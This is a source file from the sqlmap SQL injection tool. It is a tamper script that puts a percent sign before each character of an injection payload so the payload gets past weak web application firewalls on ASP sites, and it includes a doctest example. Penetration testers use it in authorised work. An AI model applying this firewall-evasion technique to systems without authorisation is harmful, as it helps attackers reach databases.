sqlmap/tamper/percentage.py

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#!/usr/bin/env python
"""
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Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
"""
import os
import string
from lib.core.common import singleTimeWarnMessage
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from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0])
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def tamper(payload, **kwargs):
"""
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Adds a percentage sign ('%') infront of each character (e.g. SELECT -> %S%E%L%E%C%T)
Requirement:
* ASP
Tested against:
* Microsoft SQL Server 2000, 2005
* MySQL 5.1.56, 5.5.11
* PostgreSQL 9.0
Notes:
* Useful to bypass weak and bespoke web application firewalls
>>> tamper('SELECT FIELD FROM TABLE')
'%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E'
"""
if payload:
retVal = ""
i = 0
while i < len(payload):
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if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits:
retVal += payload[i:i + 3]
i += 3
elif payload[i] != ' ':
retVal += '%%%s' % payload[i]
i += 1
else:
retVal += payload[i]
i += 1
return retVal